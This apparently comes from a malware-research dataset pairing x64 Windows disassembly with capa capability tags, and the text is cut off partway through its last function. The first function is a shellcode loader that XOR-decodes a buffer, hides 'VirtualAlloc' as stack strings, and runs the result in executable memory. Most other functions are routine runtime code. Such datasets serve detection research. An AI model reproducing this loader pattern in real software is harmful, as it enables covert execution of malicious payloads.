joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002b00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rsi
push rdi
sub rsp, 0x768
call fcn.140002920
lea rax, [rsp + 0x60]
lea rcx, [0x14007f610]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37e
rep movsb byte [rdi], byte [rsi]
mov eax, dword [0x14007f990]
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x20], 0
jmp 0x140002b4e
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
cmp rax, 0x37e
jae 0x140002b9c
movsxd rax, dword [rsp + 0x24]
cmp rax, 3
jne 0x140002b6e
mov dword [rsp + 0x24], 0
movsxd rax, dword [rsp + 0x20]
movsx eax, byte [rsp + rax + 0x60]
movsxd rcx, dword [rsp + 0x24]
movsx ecx, byte [rsp + rcx + 0x48]
xor eax, ecx
movsxd rcx, dword [rsp + 0x20]
mov byte [rsp + rcx + 0x3e0], al
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
jmp 0x140002b44
mov byte [rsp + 0x38], 0x56
mov byte [rsp + 0x39], 0x69
mov byte [rsp + 0x3a], 0x72
mov byte [rsp + 0x3b], 0x74
mov byte [rsp + 0x3c], 0x75
mov byte [rsp + 0x3d], 0x61
mov byte [rsp + 0x3e], 0x6c
mov byte [rsp + 0x3f], 0x41
mov byte [rsp + 0x40], 0x6c
mov byte [rsp + 0x41], 0x6c
mov byte [rsp + 0x42], 0x6f
mov byte [rsp + 0x43], 0x63
mov byte [rsp + 0x44], 0
mov byte [rsp + 0x28], 0x6b
mov byte [rsp + 0x29], 0x65
mov byte [rsp + 0x2a], 0x72
mov byte [rsp + 0x2b], 0x6e
mov byte [rsp + 0x2c], 0x65
mov byte [rsp + 0x2d], 0x6c
mov byte [rsp + 0x2e], 0x33
mov byte [rsp + 0x2f], 0x32
mov byte [rsp + 0x30], 0x2e
mov byte [rsp + 0x31], 0x64
mov byte [rsp + 0x32], 0x6c
mov byte [rsp + 0x33], 0x6c
mov byte [rsp + 0x34], 0
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x38]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x37e
xor ecx, ecx
call qword [rsp + 0x58]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x3e0]
mov rdi, qword [rsp + 0x50]
mov rsi, rax
mov ecx, 0x37e
rep movsb byte [rdi], byte [rsi]
call qword [rsp + 0x50]
xor eax, eax
add rsp, 0x768
pop rdi
pop rsi
ret
Function at 0x140009310
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [rsp + 0x80], 0
jg 0x140009335
xor eax, eax
jmp 0x1400094f6
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x68], 0
je 0x14000935d
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.140009500
jmp 0x1400094f6
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x70]
call fcn.1400071c0
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jbe 0x1400093fa
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.140004ae0
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x70]
call fcn.140007ff0
mov r8, qword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.1400035c0
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
call fcn.140007f70
nop
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x80], 0
je 0x1400094e6
mov rcx, qword [rsp + 0x70]
call fcn.140007780
mov qword [rsp + 0x58], 0xfff
cmp qword [rsp + 0x20], 0xfff
jbe 0x14000949a
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.14002dd30
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x30], 0xfff
je 0x140009498
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
jmp 0x1400094f6
jmp 0x140009420
cmp qword [rsp + 0x20], 0
jbe 0x1400094e6
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x20]
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.14002dd30
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
add rsp, 0x68
ret
Function at 0x14000ba90
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14000bf10
movzx eax, al
test eax, eax
jne 0x14000bab0
mov ecx, 7
call fcn.14000cf90
nop
mov byte [rsp + 0x20], 0
call fcn.14000bea0
mov byte [rsp + 0x21], al
cmp dword [0x140086748], 1
jne 0x14000bad4
mov ecx, 7
call fcn.14000cf90
nop
jmp 0x14000bb2c
cmp dword [0x140086748], 0
jne 0x14000bb27
mov dword [0x140086748], 1
lea rdx, [0x1400664f0]
lea rcx, [0x1400664b0]
call fcn.140036e40
test eax, eax
je 0x14000bb08
mov eax, 0xff
jmp 0x14000bc31
lea rdx, [0x1400664a8]
lea rcx, [0x140066318]
call fcn.140036de0
mov dword [0x140086748], 2
jmp 0x14000bb2c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14000c100
call fcn.14000cf60
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x14000bb89
mov rcx, qword [rsp + 0x30]
call fcn.14000c070
movzx eax, al
test eax, eax
je 0x14000bb89
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x1400662f0]
nop
call fcn.14000cf70
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14000bbbd
mov rcx, qword [rsp + 0x38]
call fcn.14000c070
movzx eax, al
test eax, eax
je 0x14000bbbd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140037490
nop
call fcn.14000bc70
mov dword [rsp + 0x28], eax
call fcn.14000d140
movzx eax, al
test eax, eax
jne 0x14000bbdc
mov ecx, dword [rsp + 0x28]
call fcn.1400374e0
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14000bbeb
call fcn.140037450
nop
xor edx, edx
mov cl, 1
call fcn.14000c130
mov eax, dword [rsp + 0x28]
jmp 0x14000bc31
add rsp, 0x68
ret

Function at 0x140015980
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140015460
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400159bf
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1400662f0]
jmp 0x1400159c9
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x140037230
Capabilities:
Terminate process

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x28
movzx eax, byte [rsp + 0x38]
test eax, eax
je 0x140037258
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [rsp + 0x30]
call fcn.140037350
mov ecx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x14003dfc0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret

Function at 0x140040170
Capabilities:
Get geographical location

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.14003f6e0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400401cc
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call fcn.140063ce0
jmp 0x1400401ee
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.140040480
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret
Function at 0x140046d30
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400633a0
sub rsp, rax
mov rax, qword [0x140085040]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140087a60]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140046f2a
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x140046e76
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140046e76
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x140046e5b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x140046df8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140046eea
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140046f49
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x40], eax
jae 0x140046f25
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140046f49
jmp 0x140046dce
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14000c470
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140046f70
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400633a0
sub rsp, rax
mov rax, qword [0x140085040]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140087a60]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140047185
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x1400470c9
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1400470c9
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x1400470a9
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x140047038
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x48]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140047145
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400471a4
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x44], eax
jae 0x140047180
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400471a4
jmp 0x14004700e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14000c470
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140049730
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
mov edx, 8
lea rcx, [rsp + 0x60]
call fcn.14002d340
movzx eax, al
test eax, eax
je 0x140049757
mov al, 1
jmp 0x14004984c
lea rcx, [rsp + 0x60]
call fcn.14002ea90
movzx eax, al
test eax, eax
je 0x140049796
lea rcx, [rsp + 0x60]
call fcn.14000b170
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x60]
call fcn.14000b170
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x40]
cmp qword [rcx], rax
jne 0x140049796
xor al, al
jmp 0x14004984c
lea rcx, [rsp + 0x60]
call fcn.14002e8b0
mov ecx, eax
call fcn.140054e70
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x1400497bb
xor al, al
jmp 0x14004984c
lea rax, [rsp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rax, [rsp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov r9d, 1
lea r8, [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x140049800
xor al, al
jmp 0x14004984c
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x140049829
xor al, al
jmp 0x14004984c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
jne 0x14004983f
mov dword [rsp + 0x20], 1
jmp 0x140049847
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x50
pop rdi
ret
Function at 0x140053680
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140005d20
lea rcx, [rsp + 0x40]
call fcn.140053640
movzx eax, al
test eax, eax
jne 0x1400536c8
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140053570
mov rax, qword [rsp + 0x70]
jmp 0x140053899
lea rcx, [rsp + 0x40]
call fcn.14000b170
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1400535f0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.14000b170
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.14004f790
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14005376e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140053570
mov rax, qword [rsp + 0x80]
jmp 0x140053899
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.140029140
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140005d20
lea rcx, [rsp + 0x48]
call fcn.14000b850
movzx eax, al
test eax, eax
jne 0x1400537d5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.14000b830
lea rcx, [rsp + 0x40]
call fcn.140053570
mov rax, qword [rsp + 0x88]
jmp 0x140053899
lea rcx, [rsp + 0x48]
call fcn.14000b170
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.14000b170
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.14004f790
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14005386b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.14000b830
lea rcx, [rsp + 0x40]
call fcn.140053570
mov rax, qword [rsp + 0xa0]
jmp 0x140053899
lea rcx, [rsp + 0x48]
call fcn.14000eb60
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.14000b830
lea rcx, [rsp + 0x40]
call fcn.140053570
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret
Function at 0x140059a20
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
cmp qword [rsp + 0x40], 0
je 0x140059a5f
mov rax, qword [rsp + 0x40]
movzx eax, word [rax]
test eax, eax
je 0x140059a5f
lea rdx, [0x1400794f8]
mov rcx, qword [rsp + 0x40]
call fcn.140057440
test eax, eax
jne 0x140059a96
mov r9d, 2
lea r8, [rsp + 0x20]
mov edx, 0x20001004
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x140059a85
xor eax, eax
jmp 0x140059ae5
cmp dword [rsp + 0x20], 0
jne 0x140059a94
call qword [sym.imp.KERNEL32.dll_GetACP]
jmp 0x140059ae5
jmp 0x140059ae1
lea rdx, [0x140079510]
mov rcx, qword [rsp + 0x40]
call fcn.140057440
test eax, eax
jne 0x140059ad3
mov r9d, 2
lea r8, [rsp + 0x20]
mov edx, 0x2000000b
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x140059ad1
xor eax, eax
jmp 0x140059ae5
jmp 0x140059ae1
mov rcx, qword [rsp + 0x40]
call fcn.14003bf70
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x140059b50
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
movzx eax, word [rsp + 0x50]
and eax, 0x3ff
movzx eax, ax
bts eax, 0xa
movzx eax, ax
mov dword [rsp + 0x24], eax
call fcn.14003f190
add rax, 0x98
mov qword [rsp + 0x30], rax
mov r9d, 2
lea r8, [rsp + 0x20]
mov edx, 0x20000001
mov ecx, dword [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x140059bb3
xor eax, eax
jmp 0x140059bf3
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x50], eax
je 0x140059bee
cmp dword [rsp + 0x58], 0
je 0x140059bee
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call fcn.140059320
mov dword [rsp + 0x28], eax
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx]
call fcn.140034460
mov ecx, dword [rsp + 0x28]
cmp ecx, eax
jne 0x140059bee
xor eax, eax
jmp 0x140059bf3
mov eax, 1
add rsp, 0x48
ret
Function at 0x14005b520
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x140085040]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x14005b549
jmp 0x14005b5ce
mov rcx, qword [rbp + 0x30]
call fcn.1400648d0
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14005b562
jmp 0x14005b5ce
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14005b57f
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400633a0
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], 0
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.14004cc10
test eax, eax
jne 0x14005b5ce
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.14000c470
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x140060310
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.140034920
lea rcx, [rsp + 0x48]
call fcn.140034920
call fcn.14003dcb0
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.140034810
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14006037f
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.1400349b0
lea rcx, [rsp + 0x78]
call fcn.1400349b0
mov eax, dword [rsp + 0x24]
jmp 0x140060410
call fcn.14003dcb0
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.140034810
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x1400603c6
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.1400349b0
lea rcx, [rsp + 0x78]
call fcn.1400349b0
mov eax, dword [rsp + 0x2c]
jmp 0x140060410
lea rcx, [rsp + 0x48]
call fcn.140034cd0
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.140034cd0
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.1400349b0
lea rcx, [rsp + 0x78]
call fcn.1400349b0
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x1400076d0
Capabilities:
Encode data using xor
Hash data using murmur2

Disassembly:
push rdi
sub rsp, 0x60
mov rax, qword [0x1400a3100]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor eax, eax
movsxd r10, edx
mov r8, rcx
mov r9d, edx
mov ecx, 0x40
lea rdi, [rsp + 0x10]
rep stosb byte [rdi], al
mov rdi, r10
lea rax, [rsp + 0x10]
shr rdi, 3
test rdi, rdi
je 0x140007724
nop dword [rax]
mov rcx, qword [r8]
add r8, 8
mov qword [rax], rcx
add rax, 8
sub rdi, 1
jne 0x140007710
mov rdx, r10
and edx, 7
je 0x140007744
nop dword [rax]
movzx ecx, byte [r8]
lea r8, [r8 + 1]
mov byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x140007730
xor r8d, r8d
test r9d, r9d
jle 0x14000776b
mov edx, r8d
nop
movzx ecx, byte [rsp + rdx + 0x10]
lea eax, [rcx - 0x41]
cmp al, 0x19
ja 0x140007763
add cl, 0x20
mov byte [rsp + rdx + 0x10], cl
inc rdx
cmp rdx, r10
jl 0x140007750
lea rdx, [rsp + 0x10]
mov r11d, r9d
mov r10d, 0xb801fcda
cmp r9d, 4
jl 0x1400077b7
mov rdi, r9
shr rdi, 2
mov eax, edi
neg eax
lea r9d, [r9 + rax*4]
nop
